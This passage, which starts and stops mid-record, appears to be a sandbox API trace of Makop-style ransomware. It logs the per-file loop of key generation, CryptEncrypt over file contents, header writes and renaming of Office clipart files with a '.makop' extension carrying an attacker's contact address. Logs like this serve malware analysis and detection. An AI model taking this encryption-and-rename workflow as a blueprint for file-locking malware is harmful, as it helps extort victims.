lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.818] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.818] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.818] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.818] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1750, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1750, lpOverlapped=0x0) returned 1 [0141.822] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1750, dwBufLen=0x1750 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1750) returned 1 [0141.822] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.823] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1750, lpOverlapped=0x0) returned 1 [0141.823] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.823] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.823] SetEndOfFile (hFile=0xf0) returned 1 [0141.829] GetProcessHeap () returned 0x48a0000 [0141.829] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.829] GetProcessHeap () returned 0x48a0000 [0141.829] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.829] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.829] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.831] CloseHandle (hObject=0xf0) returned 1 [0141.831] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1540, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCEAN_01.MID", cAlternateFileName="")) returned 1 [0141.831] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0141.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.833] GetProcessHeap () returned 0x48a0000 [0141.833] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.833] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.834] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.834] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.834] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.834] GetProcessHeap () returned 0x48a0000 [0141.834] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.834] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.834] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.834] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.838] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.838] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.838] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.838] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.839] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.839] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.839] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.839] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.839] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1540, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1540, lpOverlapped=0x0) returned 1 [0141.841] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1540, dwBufLen=0x1540 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1540) returned 1 [0141.841] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.841] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1540, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1540, lpOverlapped=0x0) returned 1 [0141.841] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.841] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.842] SetEndOfFile (hFile=0xf0) returned 1 [0141.848] GetProcessHeap () returned 0x48a0000 [0141.848] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.848] GetProcessHeap () returned 0x48a0000 [0141.848] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.848] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.848] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.850] CloseHandle (hObject=0xf0) returned 1 [0141.850] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x19f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTDR_01.MID", cAlternateFileName="")) returned 1 [0141.850] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0141.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.852] GetProcessHeap () returned 0x48a0000 [0141.852] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.853] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.853] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.853] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0141.857] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.857] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.857] GetProcessHeap () returned 0x48a0000 [0141.857] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.857] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.857] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.857] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.857] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.857] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.858] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.858] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.858] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.858] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.858] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.858] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.858] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x19f4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x19f4, lpOverlapped=0x0) returned 1 [0141.860] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a00, dwBufLen=0x1a00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a00) returned 1 [0141.860] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.860] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1a00, lpOverlapped=0x0) returned 1 [0141.860] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.860] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.860] SetEndOfFile (hFile=0xf0) returned 1 [0141.868] GetProcessHeap () returned 0x48a0000 [0141.868] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.868] GetProcessHeap () returned 0x48a0000 [0141.868] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.868] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.869] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.870] CloseHandle (hObject=0xf0) returned 1 [0141.871] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPER_01.MID", cAlternateFileName="")) returned 1 [0141.871] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0141.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.872] GetProcessHeap () returned 0x48a0000 [0141.872] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.872] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.872] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.872] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x5, lpOverlapped=0x0) returned 1 [0141.876] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.876] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.877] GetProcessHeap () returned 0x48a0000 [0141.877] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.877] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.877] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.877] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.877] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.877] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.877] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.877] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.878] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.878] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.878] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.878] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.878] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1a6b, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1a6b, lpOverlapped=0x0) returned 1 [0141.887] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a70, dwBufLen=0x1a70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a70) returned 1 [0141.888] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.888] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1a70, lpOverlapped=0x0) returned 1 [0141.888] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.888] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1b44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.888] SetEndOfFile (hFile=0xf0) returned 1 [0141.895] GetProcessHeap () returned 0x48a0000 [0141.895] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.895] GetProcessHeap () returned 0x48a0000 [0141.895] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.895] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.896] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.897] CloseHandle (hObject=0xf0) returned 1 [0141.897] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x195b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_01.MID", cAlternateFileName="")) returned 1 [0141.897] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0141.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.899] GetProcessHeap () returned 0x48a0000 [0141.899] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.899] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.899] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.899] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x5, lpOverlapped=0x0) returned 1 [0141.903] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.903] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.903] GetProcessHeap () returned 0x48a0000 [0141.903] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.903] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.903] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.903] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.904] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.904] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.904] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, 